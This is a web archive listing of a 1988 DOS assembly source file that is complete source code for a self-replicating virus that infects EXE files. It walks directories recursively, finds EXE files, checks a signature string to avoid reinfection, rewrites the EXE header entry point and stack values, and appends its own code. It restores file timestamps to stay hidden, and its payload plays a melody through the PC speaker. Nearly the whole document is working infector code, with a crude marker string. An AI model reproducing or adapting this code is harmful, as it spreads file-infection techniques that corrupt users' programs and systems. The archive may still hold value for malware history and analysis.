home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-E.ZIP / ENIGMA.ASM < prev    next >
Assembly Source File  |  1988-12-27  |  19KB  |  1,129 lines

  1. .MODEL SMALL
  2. .CODE     
  3.  
  4. comment     /        
  5.         Good luck!
  6.         
  7.         Vladimir Botchev, CICT-BAS, december 1988
  8.         
  9.         /
  10.  
  11. data_area    struc            ;Define a pattern for working data
  12.                     ;area
  13. DS_save        dw    ?
  14. ES_save        dw     ?
  15. IP_save        dw    ?
  16. CS_save        dw    ?
  17. SS_save        dw    ?
  18. filematch    db    '*.exe',00h    ;Names for files to infect
  19. matchall     db      '*.*',00h    ;needed for the matching procedure
  20. infected    dw    00h        ;A very useful flag
  21. help_flag    dw    00h        ;These two flags are needed to 
  22. where_from_flag dw    00h        ;determine if virus is free running
  23.                     ;or from an infected program
  24.                     ;therefore it's very important 
  25.                     ;that where_from_flag value
  26.                     ;is set to zero at assembly time
  27. handle        dw    ?                    
  28. ip_old        dw    ?        ;old instruction pointer
  29. cs_old        dw    ?        ;old value of code segment
  30. ss_old        dw    ?
  31. far_push    dw    ?
  32. save_push    dw    ?
  33. buffer1        db    '\',63 dup (?)
  34. virus_stamp    db    'motherfucker'        ;Very hard to obtain in
  35.                         ;a random way
  36.  
  37. buffer2     db    2b0h dup (?)
  38. new_area    db    64 dup (?)
  39. new_data    db    64 dup (?)
  40. pointer1    dw    ?
  41. pointer2    dw    ?
  42. pointer3    dw    ?
  43. pointer4    dw    ?
  44. pointer5    dw    ?
  45. pointer6    dw    ?
  46. pointer7    dw    ?
  47. pointer8    dw    ?
  48.  
  49. data_area    ends            
  50.  
  51.     org    100h            ;Defined for .com file as virus must
  52.                     ;be able to run on itself
  53. start:    call    setup_data        ;This is a near call therefore it's a
  54.                     ;three byte instruction.It's purpose is
  55.                     ;to catch correct data area address 
  56.                     ;even when virus is appended to the
  57.                     ;infected .exe program 
  58. adjust    equ    offset pgm_start    ;Known offset value  
  59. pgm_start    label    word        ;    
  60.  
  61. virussize    equ    2793
  62.     
  63.  work:  mov    ax,ds            ;Save old DS
  64.      push    cs
  65.     pop    ds            ;Update to needed DS value
  66.     mov    si,offset buffer.DS_save  ;Put old DS in a quiet place
  67.     sub    si,adjust
  68.     add    si,bx
  69.     mov    [si],ax
  70.     
  71.      mov    si,offset buffer.ES_save  ;Save it because Get DTA side effects
  72.      sub    si,adjust
  73.     add     si,bx
  74.      mov    ax,es
  75.     mov    [si],ax
  76.     push    cs            ;Imperative because DI usage
  77.     pop    es
  78.     
  79.     push    bx            ;It's imperative to always keep
  80.                     ;this value unchanged
  81.     mov    ax,2f00h        ;Get DTA function call
  82.     int    21h
  83.     
  84.     mov    cx,bx            ;save address found
  85.     pop    bx
  86.     mov    si,offset buffer.pointer1 
  87.     sub    si,adjust
  88.     add    si,bx
  89.     mov    [si],cx
  90.     add    si,2            ;Locate the segment immediately above
  91.     mov    ax,es
  92.     mov    [si],ax                
  93.     push    cs
  94.     pop    es
  95.  
  96.     mov    di,offset buffer.buffer1 ;adjust for first search
  97.     inc    di                 ;Jump over the '\'
  98.     sub    di,adjust
  99.     add    di,bx
  100.     mov    dx,0000h
  101.     push    bx
  102.     call    search_exe
  103.     pop    bx
  104.     mov    si,offset buffer.where_from_flag
  105.     sub    si,adjust
  106.     add    si,bx
  107.     cmp    word ptr [si],0000h
  108.     jnz    infected_run 
  109.     int    020H
  110.  
  111. infected_run:
  112.     mov    si,offset buffer.pointer1
  113.     sub    si,adjust
  114.     add    si,bx
  115.     mov    dx,[si]
  116.     push    ds
  117.     mov    ax,[si+2]
  118.     mov    ds,ax
  119.     push    bx
  120.     mov    ax,1a00h
  121.     int    21h
  122.     pop    bx
  123.     pop    ds            ;Restore original DTA
  124.     
  125.     mov    si,offset buffer.ES_save
  126.     sub    si,adjust
  127.     add    si,bx
  128.     mov    ax,[si]
  129.     mov    es,ax            ;Restore ES
  130.     
  131.     ;Here you can do whatever you want
  132.  
  133.     push    bx
  134.     call    mary_proc
  135.     pop    bx
  136.  
  137.     
  138.  
  139.     mov    si,offset buffer.IP_save
  140.     sub    si,adjust
  141.     add    si,bx
  142.     mov    ax,[si]
  143.     mov    dx,[si+2]
  144.     mov    si,offset buffer.far_push    ;Restore original code
  145.     sub    si,adjust            ;segment
  146.     add    si,bx
  147.     mov    cx,[si]
  148.     push    ax
  149.     mov    ax,cs
  150.     sub    ax,cx
  151.     mov    di,ax                ;For stack
  152.     add    dx,ax
  153.     pop    ax
  154.     
  155.     mov    si,offset buffer.SS_save
  156.     sub    si,adjust            ;Restore stack segment
  157.     add    si,bx
  158.     mov    cx,word ptr [si]
  159.     add    cx,di
  160.     
  161.     push    es
  162.     pop    ds
  163.     
  164.     cli
  165.     mov    ss,cx
  166.     sti
  167.     
  168.     
  169.     push    dx
  170.     push    ax
  171.     retf
  172.     
  173.  
  174. search_exe    PROC
  175.  
  176.     push    si
  177.     push    dx
  178.     call    transfer_filespec        ;transfer filename in another
  179.                         ;working area
  180.     call    find_first            ;try to find a first match
  181.     jc    not_here            ;first match not found
  182.     call    try_to_infect            ;if found try to infect
  183.                         ;infected != 0 if success
  184.     mov    si,offset buffer.infected
  185.     sub    si,adjust
  186.     add    si,bx
  187.     test    word ptr [si],0ffffh
  188.     jz    try_next
  189.     jmp    quiet_exit
  190.     
  191. try_next:
  192.     call    find_next            ;If infection was not succesful
  193.                         ;try once more 
  194.     jc    not_here
  195.  
  196.     call    try_to_infect            ;If match found try to infect
  197.           mov    si,offset buffer.infected    ;again
  198.     sub    si,adjust
  199.     add    si,bx
  200.     test    word ptr [si],0ffffh
  201.     jz    try_next
  202.  
  203.     jmp    quiet_exit            ;quiet exit simply jumps
  204.                         ;to a return instruction
  205. not_here:
  206.     pop    dx                ;If first searches are
  207.     push    dx                  ;unsuccesful try a '*.*' match
  208.     call    search_all
  209.     call    find_first
  210.     jnc    attribute_test            ;i.e. expect probably to
  211.                         ;find a subdirectory
  212. quiet_exit:
  213.     pop    dx
  214.     pop    si
  215.     ret
  216.     
  217. attribute_test:        
  218.     mov    si,dx                ;offset of DTA
  219.     test    byte ptr [si+015h],010h        ;where attribute byte is to
  220.                         ;be found.Try first with 
  221.                         ;subdirectory attribute
  222.     jne    dir_found            ;subdirectory found
  223. more_tries:
  224.     call    find_next            ;Since the search was initiated
  225.                         ;with '*.*' if this is not a
  226.                         ;directory try to found one
  227.     jc    quiet_exit            ;No sense to search more 
  228.     
  229.     test    byte ptr [si+015h],010h
  230.     jz    more_tries            ;Search to the end
  231. dir_found:
  232.     cmp    byte ptr [si+01Eh],02Eh     ;Compare with the subdirectory
  233.                         ;mark '.'
  234.     jz    more_tries            ;looking for files no
  235.                         ;subdirectories
  236.  
  237.     call    dta_compute            ;Valid entry, now set some DTA
  238.                         ;and continue to search
  239.     push    ax
  240.     mov    ah,01Ah                ;Set DTA function call
  241.     int    021h
  242.     pop    ax
  243.     push    si
  244.           mov    si,offset buffer.infected    
  245.     sub    si,adjust
  246.     add    si,bx
  247.     test    word ptr [si],0ffffh
  248.     pop    si
  249.     jnz    quiet_exit
  250.  
  251.     jmp    more_tries            
  252.  
  253.  
  254. search_exe    ENDP
  255.  
  256. dta_compute     PROC
  257.  
  258.     push    di                ;Save some registers
  259.     push    si
  260.     push    ax
  261.     push    bx
  262.     cld                    ;Up count for SI,DI pair
  263.     mov    si,dx                ;DTA address to SI
  264.     add    si,01EH                ;and add subdirectory
  265.                         ;name offset
  266.     
  267. store_loop:
  268.     lodsb    
  269.     stosb    
  270.     or    al,al
  271.     jne    store_loop            ;store loop
  272.  
  273.     std    
  274.     stosb    
  275.     mov    al,05Ch                ;Put in place the path name
  276.                         ;constructor
  277.                         
  278.     stosb    
  279.     add    di,2                ;Adjust di for new searches
  280.     call    search_exe            ;
  281.                         ;a heavily recursion
  282.                         ;
  283.     pop    bx                ;some cleanup and exit 
  284.                         ;
  285.     pop    ax
  286.     pop    si
  287.     pop    di
  288.     ret    
  289.  
  290. dta_compute     ENDP
  291.  
  292. try_to_infect     PROC                
  293.  
  294.     push    ax
  295.     push    bx
  296.     push    cx
  297.     push    dx
  298.     push    si
  299.     push    di
  300.     
  301.     push    es
  302.     push    bx
  303.     mov    ax,2f00h            ;Get DTA function call
  304.     int    21h
  305.     mov    ax,bx
  306.     pop    bx
  307.     mov    si,offset buffer.pointer3
  308.     sub    si,adjust
  309.     add    si,bx
  310.     mov    [si],ax                ;Offset saved
  311.     add     si,2
  312.     mov    ax,es
  313.     mov    [si],ax
  314.     pop    es                ;Segment located just above
  315.  
  316.     mov    dx,offset buffer.new_data
  317.     sub    dx,adjust
  318.     add    dx,bx
  319.     push    bx
  320.     mov    ax,1a00h
  321.     int    21h                ;Set DTA function call
  322.     pop     bx                ;It's very important to
  323.                         ;save BX in all calls
  324.  
  325.     mov    di,offset buffer.new_area
  326.     mov    si,offset buffer.buffer1
  327.     sub    di,adjust
  328.     sub    si,adjust
  329.     add    di,bx
  330.     add    si,bx
  331.     
  332.     cld                    ;Move previously found path-
  333.                         ;name or filename to new
  334.                         ;data area
  335. move_path:                        
  336.     lodsb
  337.     stosb
  338.     or    al,al
  339.     jnz    move_path
  340.     std                    ;adjust DI to recieve
  341.     mov    al,'\'                ;filename.
  342.     mov    cx,0040h
  343.     std                    ;Search backward
  344.     repne   scasb
  345.     
  346.     mov    si,offset buffer.pointer3
  347.     sub    si,adjust
  348.     add    si,bx
  349.     mov    ax,[si]
  350.     mov    si,ax
  351.     add    di,2                
  352.  
  353. o_kay:
  354.     add    si,001eh            ;The beginning of the
  355.                         ;filename...
  356.     cld                    ;Now move name
  357.      
  358. move_fnm:
  359.     lodsb
  360.     stosb
  361.     or    al,al
  362.     jnz    move_fnm
  363.                                      
  364.     push    dx
  365.     push    bx
  366.     mov    dx,offset buffer.new_area
  367.     sub    dx,adjust
  368.     add    dx,bx
  369.     mov    ax,3d02h            ;Open file with handle
  370.                         ;for read/write
  371.     int    21h
  372.     pop    bx
  373.     pop    dx
  374.     jnc    go_ahead            ;In case file cannot be opened
  375.     jmp    error_exit
  376.     
  377. go_ahead:
  378.     mov    si,offset buffer.handle
  379.     sub    si,adjust
  380.     add    si,bx
  381.     mov    [si],ax                ;Save handle
  382.     
  383.     push    bx
  384.     mov    bx,ax                ;Prepare for lseek
  385.     push    dx
  386.     mov    cx,0000h            ;Look at the end of the file
  387.     mov    dx,0000h            ;Offset of -12 from the end
  388.                         ;of the file
  389.     mov    ax,4202h            ;Lseek function call
  390.     int    21h
  391.     mov    cx,dx
  392.     pop    dx
  393.     pop    bx
  394.     jnc    compute_length
  395.     jmp    close_error
  396.     
  397. compute_length:
  398.  
  399.     sub    ax,000ch
  400.     sbb    cx,0000h            ;Exact position
  401.     
  402.  
  403. save_offset:                    ;    
  404.     mov    si,offset buffer.pointer5
  405.     sub    si,adjust
  406.     add    si,bx
  407.     mov    [si],ax
  408.     add    si,2
  409.     mov    [si],cx
  410.     
  411.     push     bx
  412.     push    dx
  413.     mov    si,offset buffer.handle
  414.     sub    si,adjust
  415.     add     si,bx
  416.     mov    bx,[si]
  417.     mov    dx,ax
  418.     mov    ax,4200h            ;From beginning of file
  419.     int    21h                ;Lseek function call
  420.     pop    dx
  421.     pop    bx
  422.     jnc    set_buffer
  423.     jmp    close_error
  424.         
  425. set_buffer:    
  426.     push    bx
  427.     push    dx
  428.     mov    dx,offset buffer.new_data
  429.     sub    dx,adjust
  430.     add    dx,bx
  431.     mov    si,offset buffer.handle
  432.     sub    si,adjust
  433.     add    si,bx
  434.     mov    bx,[si]                ;Load handle
  435.     mov    cx,000ch
  436.     mov    ax,3f00h
  437.     int    21h                ;Read function call
  438.     pop    dx
  439.     pop    bx
  440.     jnc    read_ok
  441.     jmp    close_error
  442.     
  443. read_ok:
  444.     mov    si,offset buffer.virus_stamp
  445.     mov    di,offset buffer.new_data
  446.     sub    si,adjust
  447.     sub    di,adjust
  448.     add    si,bx
  449.     add     di,bx
  450.     mov    cx,12                ;Length of strings to
  451.                         ;compare
  452.     repe    cmpsb
  453.     pushf
  454.           mov    si,offset buffer.infected    
  455.     sub    si,adjust
  456.     add    si,bx
  457.     mov    word ptr [si],0000h        
  458.     popf
  459.     jnz    infect_it
  460.  
  461. close_error:
  462.     mov    si,offset buffer.handle
  463.     sub    si,adjust
  464.     add    si,bx
  465.     push    bx
  466.     mov    bx,[si]
  467.     mov    ax,3e00h            ;Close file function call
  468.     int    21h
  469.     pop    bx
  470.     jmp    error_exit
  471.     
  472. infect_it:                                
  473.           mov    si,offset buffer.infected    
  474.     sub    si,adjust
  475.     add    si,bx
  476.     mov    word ptr [si],7777h        
  477.     
  478.     mov    si,offset buffer.where_from_flag
  479.     sub    si,adjust
  480.     add    si,bx
  481.     mov    ax,[si]
  482.     sub     si,2
  483.     mov    [si],ax            ;This code effectively moves
  484.                     ;where_from_flag into help_flag
  485.                     
  486.     add    si,2
  487.     mov    [si],5a5ah        ;Ready to infect
  488.     push     bx
  489.     push    dx
  490.     mov    si,offset buffer.handle
  491.     sub    si,adjust
  492.     add     si,bx
  493.     mov    bx,[si]
  494.     xor    cx,cx
  495.     xor    dx,dx
  496.     mov    ax,4200h            ;From beginning of file
  497.     int    21h                ;Lseek function call
  498.     pop    dx
  499.     pop    bx
  500.     jnc    set_new_data
  501.     jmp    append_ok
  502.     
  503. set_new_data:
  504.     push    bx
  505.     push    dx
  506.     mov    dx,offset buffer.new_data
  507.     sub    dx,adjust
  508.     add    dx,bx
  509.     mov    si,offset buffer.handle
  510.     sub    si,adjust
  511.     add    si,bx
  512.     mov    bx,[si]                ;Load handle
  513.     mov    cx,001bh            ;Read formatted exe header
  514.     mov    ax,3f00h
  515.     int    21h                ;Read function call
  516.     pop    dx
  517.     pop    bx
  518.     jnc    read_header
  519.     jmp    append_ok
  520.  
  521. read_header:
  522.     nop                    ;some code to modify header
  523.                         ;
  524.             
  525.     mov    si,offset buffer.pointer5
  526.     sub    si,adjust
  527.     add    si,bx
  528.     mov    ax,[si]
  529.     add    si,2
  530.     add    ax,0ch
  531.     adc    word ptr [si],0000h
  532.     sub    si,2
  533.     mov    [si],ax            ;This code restores original
  534.                     ;filelength
  535.             
  536.     mov    si,offset buffer.new_data
  537.     sub    si,adjust
  538.     add    si,bx
  539.     mov    ax,[si]
  540.     cmp    ax,5a4dh        ;check for valid exe file
  541.     jz    valid_exe
  542.     jmp    append_ok
  543.     
  544. valid_exe:
  545.     mov    ax,[si+8]        ;Load module size
  546.     xor    dx,dx
  547.     shl    ax,1
  548.     rcl    dx,1
  549.     shl    ax,1
  550.     rcl    dx,1
  551.     shl    ax,1
  552.     rcl    dx,1
  553.     shl    ax,1
  554.     rcl    dx,1            ;Multiply by 16
  555.     
  556.     push    ax
  557.     push    dx            ;Adjust new size
  558.     push    cx
  559.     mov    dx,virussize-896+64
  560.     push    dx
  561.     mov    cx,0009h
  562.     shr    dx,cl
  563.     add    word ptr [si+4],dx
  564.     pop    dx
  565.     and    dx,01ffh
  566.     add    dx,word ptr [si+2]
  567.     cmp    dx,512
  568.     jl    adjust_okay
  569.     sub    dx,512
  570.     inc    word ptr [si+4]
  571. adjust_okay:
  572.     mov    word ptr [si+2],dx    
  573.     pop    cx
  574.     pop    dx
  575.     pop    ax
  576.     
  577.  
  578.     push    si            ;This SI is very useful so save it
  579.                             
  580.     mov    si,offset buffer.pointer5
  581.     sub    si,adjust
  582.     add    si,bx
  583.     sub    [si],ax
  584.     mov    ax,[si]
  585.     sbb    [si+2],dx
  586.     mov    dx,[si+2]        ;the byte size of the load module
  587.             
  588.  
  589.     pop    si
  590.     push    ax
  591.     push    dx
  592.     mov    ax,[si+14h]
  593.     mov    dx,[si+16h]        ;Get CS:IP value
  594.     mov    cx,[si+0eh]        ;Get SS value
  595.     push    si
  596.     mov    si,offset buffer.IP_save
  597.     sub    si,adjust
  598.     add    si,bx
  599.     xchg    [si],ax
  600.     xchg    [si+2],dx
  601.     mov    si,offset buffer.SS_save
  602.     sub    si,adjust
  603.     add    si,bx
  604.     xchg    [si],cx
  605.     mov    si,offset buffer.ip_old
  606.     sub    si,adjust
  607.     add    si,bx
  608.     mov    [si],ax
  609.     mov    [si+2],dx
  610.     mov    si,offset buffer.ss_old
  611.     sub    si,adjust
  612.     add    si,bx
  613.     mov    [si],cx
  614.     pop    si
  615.     pop    dx
  616.     pop    ax
  617.     
  618.     push    ax
  619.     push    dx
  620.     
  621.     shl    ax,1
  622.     rcl    dx,1
  623.     shl    ax,1
  624.     rcl    dx,1
  625.     shl    ax,1
  626.     rcl    dx,1
  627.     shl    ax,1
  628.     rcl    dx,1            ;Multiply by 16
  629.     
  630.     mov    cx,0008h
  631.     shl    dx,cl
  632.     mov    cx,0004h
  633.     shr    ax,cl            ;A very obscure algorithm to make
  634.                     ;a segment:offset pair
  635.     mov    [si+14h],ax
  636.     mov    [si+16h],dx        ;Infected values
  637.  
  638.     push    si
  639.     mov    si,offset buffer.far_push
  640.     sub    si,adjust
  641.     add    si,bx
  642.     xchg    [si],dx
  643.     mov    word ptr [si+2],dx
  644.     pop    si
  645.         
  646.     pop    dx
  647.     pop    ax
  648.     add    ax,virussize        ;
  649.     adc    dx,0000h
  650.  
  651.     mov    cx,0003h    
  652. mul_loop:
  653.  
  654.     shl    ax,1
  655.     rcl    dx,1
  656.     shl    ax,1
  657.     rcl    dx,1
  658.     shl    ax,1
  659.     rcl    dx,1
  660.     shl    ax,1
  661.     rcl    dx,1            ;Multiply by 4096
  662.     loop    mul_loop
  663.                 
  664.     or    ax,ax
  665.     jz    exact_value
  666.     inc    dx
  667. exact_value:    
  668.     mov    [si+0eh],dx        ;Infected stack segment 
  669.         
  670.                     ;Write back infected header
  671.     push    si
  672.     push    bx
  673.     mov    si,offset buffer.handle
  674.     sub    si,adjust
  675.     add    si,bx
  676.     mov    bx,[si]
  677.     mov    ax,5700h        ;Get time function
  678.     int    21h
  679.     pop    bx
  680.     pop    si
  681.     jnc    correct_time
  682.     jmp    append_ok1
  683.     
  684. correct_time:
  685.     push    cx
  686.     push     bx
  687.     push    dx
  688.     mov    si,offset buffer.handle
  689.     sub    si,adjust
  690.     add     si,bx
  691.     mov    bx,[si]
  692.     xor    cx,cx
  693.     xor    dx,dx
  694.     mov    ax,4200h            ;From beginning of file
  695.     int    21h                ;Lseek function call
  696.     pop    dx
  697.     pop    bx
  698.     pop    cx
  699.     jnc    continue_infection
  700.     jmp    append_ok1
  701.     
  702. continue_infection:
  703.     
  704.     push    cx
  705.     push    dx
  706.     push    bx
  707.     mov    dx,offset buffer.new_data
  708.     sub    dx,adjust
  709.     add    dx,bx
  710.     mov    si,offset buffer.handle
  711.     sub    si,adjust
  712.     add    si,bx
  713.     mov    bx,[si]                ;Load handle
  714.     mov    cx,001bh            ;Write infected exe header
  715.     mov    ax,4000h
  716.     int    21h                ;Write function call
  717.     pop    bx
  718.     pop    dx
  719.     pop    cx
  720.     jnc    glue_virus
  721.     jmp    append_ok1
  722.  
  723. glue_virus:
  724.                             
  725.     push    cx
  726.     push     bx
  727.     push    dx
  728.     mov    si,offset buffer.handle
  729.     sub    si,adjust
  730.     add     si,bx
  731.     mov    bx,[si]
  732.     xor    cx,cx
  733.     xor    dx,dx
  734.     mov    ax,4202h            ;From the end of file
  735.     int    21h                ;Lseek function call
  736.     pop    dx
  737.     pop    bx
  738.     pop    cx
  739.     jnc    write_data
  740.     jmp    append_ok1
  741.     
  742. write_data:
  743.     
  744.     mov    si,offset buffer.handle
  745.     sub    si,adjust
  746.     add    si,bx
  747.     
  748.     push    dx
  749.     push    cx
  750.     
  751.     mov    dx,bx
  752.     sub    dx,3                ;The starting three byte
  753.                         ;call instruction
  754.     push    es
  755.     push    bx
  756.     push    dx
  757.     push    si
  758.     mov    ax,2f00h
  759.     int    21h
  760.     pop    si
  761.     pop    dx
  762.     
  763.     push    es
  764.     push    bx
  765.     
  766.     push    si
  767.     mov    ax,1a00h
  768.     int    21h
  769.     pop    si
  770.     
  771.                             
  772.     mov    bx,[si]                ;Load handle
  773.     mov    cx,virussize-896+64        ;Length of virus obtained
  774.     mov    ax,4000h            ;with dir
  775.     int    21h
  776.     lahf                    ;Write function call
  777.  
  778.     pop    bx
  779.     pop    es
  780.     
  781.     push    ds
  782.     push    es
  783.     pop    ds
  784.     mov    dx,bx
  785.     push    ax
  786.     mov    ax,1a00h
  787.     int    21h
  788.     pop    ax
  789.     
  790.     pop    ds
  791.     pop    bx
  792.     pop    es
  793.     
  794.     pop    cx
  795.     pop    dx
  796.     
  797.     sahf
  798.     jnc    put_stamp            ;Error or not file
  799.     jmp    append_ok1            ;is closed    
  800.     
  801. put_stamp:
  802.     push    bx
  803.     mov    si,offset buffer.handle
  804.     sub    si,adjust
  805.     add    si,bx
  806.     mov    bx,[si]
  807.     mov    ax,5701h        ;Set time function
  808.     int    21h
  809.     pop    bx
  810.  
  811. append_ok1:
  812.  
  813.     mov    si,offset buffer.ip_old    ;Restore previous CS:IP values
  814.     sub    si,adjust
  815.     add    si,bx
  816.     mov    ax,[si]
  817.     mov    dx,[si+2]
  818.     mov    si,offset buffer.IP_save
  819.     sub    si,adjust
  820.     add    si,bx
  821.     mov    [si],ax
  822.     mov    [si+2],dx    
  823.  
  824.     mov    si,offset buffer.save_push
  825.     sub    si,adjust
  826.     add    si,bx
  827.     mov    ax,[si]
  828.     mov    word ptr [si-2],ax
  829.     
  830.     mov    si,offset buffer.ss_old
  831.     sub    si,adjust
  832.     add    si,bx
  833.     mov    ax,[si]
  834.     mov    si,offset buffer.SS_save
  835.     sub    si,adjust
  836.     add    si,bx
  837.     mov    word ptr [si],ax
  838.         
  839.         
  840. append_ok:
  841.     mov    si,offset buffer.help_flag
  842.     sub    si,adjust
  843.     add    si,bx
  844.     mov    ax,[si]
  845.     add     si,2
  846.     mov    [si],ax            ;This code effectively moves
  847.                     ;help_flag into where_from_flag 
  848.  
  849.         
  850.     jmp    close_error            ;
  851.     
  852. error_exit:
  853.     mov    si,offset buffer.pointer3
  854.     sub    si,adjust
  855.     add    si,bx
  856.     mov    dx,[si]            ;Restore original DTA
  857.     add    si,2
  858.     mov    ax,[si]
  859.     push    ds
  860.     mov    ds,ax
  861.     mov    ax,1a00h        ;Set DTA function call
  862.     int    21h
  863.     pop    ds
  864.     pop    di
  865.     pop    si
  866.     pop    dx
  867.     pop    cx
  868.     pop    bx
  869.     pop    ax
  870.     ret        
  871.     
  872. try_to_infect    ENDP
  873.                                 
  874. transfer_filespec     PROC
  875.  
  876.     push    si
  877.     mov    si,offset buffer.filematch     ;Transfer name to the working
  878.                         ;area
  879.     sub    si,adjust
  880.     add    si,bx
  881.     call    byte_move
  882.     pop    si
  883.     ret    
  884.  
  885. transfer_filespec     ENDP
  886.  
  887. search_all     PROC
  888.  
  889.     push    si
  890.     mov    si,offset buffer.matchall    ;This is the '*.*' filename
  891.     sub    si,adjust
  892.     add    si,bx
  893.     call    byte_move
  894.     pop    si
  895.     ret    
  896.     
  897. search_all     ENDP
  898.     
  899. byte_move    PROC
  900.  
  901.     push    ax
  902.     push    di
  903.  
  904.     cld    
  905.  
  906. move_loop:
  907.     lodsb    
  908.     stosb    
  909.     or    al,al                ;The string to move is ASCIIZ
  910.     jne    move_loop
  911.     pop    di
  912.     pop    ax
  913.     ret    
  914.     
  915. byte_move    ENDP
  916.     
  917. find_first    PROC
  918.  
  919.     push    cx
  920.     push    bx
  921.     cmp    dx,0000h
  922.     jnbe    over_set
  923.     mov    dx,offset buffer.buffer2        ;Set Data Transfer Area
  924.     sub    dx,adjust                ;or Disk Transfer area
  925.     add    dx,bx                    ;
  926. over_set:
  927.     add    dx,02Bh
  928.     mov    cx,00010h                ;Attribute byte for 
  929.                             ;directory search
  930.     mov    ah,01ah
  931.     int    021h                    ;Set DTA function call
  932.     
  933.     pop    bx
  934.     push    bx
  935.     push    dx
  936.     mov    dx,offset buffer.buffer1
  937.     sub    dx,adjust
  938.     add    dx,bx
  939.     mov    ah,04eh                ;find first
  940.                         ;function call
  941.     int    021h
  942.     pop    dx
  943.     pop    bx
  944.     pop    cx
  945.     ret    
  946.     
  947. find_first    ENDP
  948.     
  949. find_next     PROC
  950.  
  951.     push    cx
  952.     push    bx
  953.     push    dx
  954.     mov    dx,offset buffer.buffer1
  955.     sub    dx,adjust
  956.     add    dx,bx
  957.     mov    cx,00010h
  958.     mov    ah,04fh                ;Find next function call
  959.     int    021h
  960.     pop    dx
  961.     pop    bx
  962.     pop    cx
  963.     ret    
  964.  
  965. find_next     ENDP
  966.  
  967. delay    PROC
  968.  
  969.     push    ax
  970.     push    bx
  971.     push    cx
  972.     push    dx
  973.     mov    ah,2ch            ;Read current time
  974.     int    21h
  975.     
  976.     mov    ah,ch
  977.     add    al,cl
  978.     add    bh,dh
  979.     add    bl,dl
  980.     
  981.     cmp    bl,100
  982.     jb    secs
  983.     sub    bl,100
  984.     inc    bh
  985. secs:   cmp    bh,60
  986.     jb    mins
  987.     sub    bh,60
  988.     inc    al
  989. mins:    cmp    al,60
  990.     jb    hours
  991.     sub    al,60
  992.     inc    ah
  993. hours:    cmp    ah,24
  994.     jne    tcheck
  995.     sub    ah,ah
  996.     
  997. tcheck: push    ax
  998.     mov    ah,2ch
  999.     int    21h
  1000.     
  1001.     pop    ax
  1002.     cmp    cx,ax
  1003.     ja    tdquit
  1004.     jb    tcheck
  1005.     cmp    dx,bx
  1006.     jb    tcheck
  1007.     
  1008. tdquit: pop    dx
  1009.     pop    cx
  1010.     pop    bx
  1011.     pop    ax
  1012.     ret
  1013.     
  1014. delay    ENDP                        
  1015.  
  1016. sound    PROC
  1017.  
  1018.     push    ax
  1019.     push    cx
  1020.     push    dx
  1021.     push    di
  1022.     
  1023.     mov    al,0b6h
  1024.     out    43h,al
  1025.     mov    dx,14h
  1026.     mov    ax,533h*896
  1027.     div    di
  1028.     out    42h,al
  1029.     mov    al,ah
  1030.     out    42h,al
  1031.     in    al,61h
  1032.     mov    ah,al
  1033.     or    al,3
  1034.     out    61h,al
  1035.     mov    al,cl
  1036.     call    delay
  1037.     mov    al,ah
  1038.     out    61h,al
  1039.     pop    di
  1040.     pop    dx
  1041.     pop    cx
  1042.     pop    ax
  1043.     ret
  1044.     
  1045. sound    ENDP
  1046.  
  1047. music_play    PROC
  1048.  
  1049.     push    bx
  1050.     push    cx
  1051.     push    di
  1052.     push    si
  1053.     push    bp
  1054.  
  1055. freq:
  1056.  
  1057.     mov    di,[si]
  1058.     cmp    di,0ffffh
  1059.     je    end_play
  1060.     mov    bl,ds:[bp]
  1061.     sub    cl,cl
  1062.     sub    bh,bh
  1063.     call    sound
  1064.     add    si,2
  1065.     inc    bp
  1066.     jnz    freq
  1067.     
  1068. end_play:
  1069.     pop    bp
  1070.     pop    si
  1071.     pop    di
  1072.     pop    cx
  1073.     pop    bx
  1074.     ret
  1075.     
  1076. music_play    ENDP
  1077.  
  1078. mary_proc    PROC
  1079.  
  1080.     push    bx
  1081.     push    bp
  1082.     
  1083.     mov    si,offset mary_freq
  1084.     mov    bp,offset mary_time
  1085.     sub    si,adjust
  1086.     sub    bp,adjust
  1087.     add    si,bx
  1088.     add    bp,bx
  1089.     call    music_play
  1090.     
  1091.     pop    bp
  1092.     pop    bx
  1093.     ret    
  1094.  
  1095. mary_proc    ENDP
  1096.  
  1097. mary_freq    dw    262,262,293,329,262,329,293,196
  1098.         dw    262,262,293,329,262,262
  1099.         dw    262,262,293,329,349,329,293,262
  1100.         dw    246,196,220,246,262,262
  1101.         dw    220,246,220,174,220,246,262,220
  1102.         dw    196,220,196,174,164,174,196
  1103.         dw    220,246,220,174,220,246,262,220
  1104.         dw    196,262,246,293,262,262,0ffffh
  1105.  
  1106.         
  1107. mary_time    db    8 dup(25)
  1108.         db    4 dup(25), 50, 50
  1109.         db    8 dup(25)
  1110.         db    4 dup(25), 50, 50
  1111.         db    26, 25, 26, 5 dup(25)
  1112.         db    26, 25, 26, 3 dup(25), 30
  1113.         db    26, 25, 26, 4 dup(25), 30
  1114.         db    4 dup(25), 50, 50
  1115.  
  1116.     
  1117.  
  1118. setup_data:
  1119.     cli
  1120.     pop    bx            ;This will catch instruction pointer 
  1121.     push    bx    
  1122.     sti                ;value and after that restore stack
  1123.     ret                ;pointer value        
  1124.  
  1125.  
  1126. buffer    data_area    <>        ;Reseve data_area space     
  1127.  
  1128.  
  1129.     END     start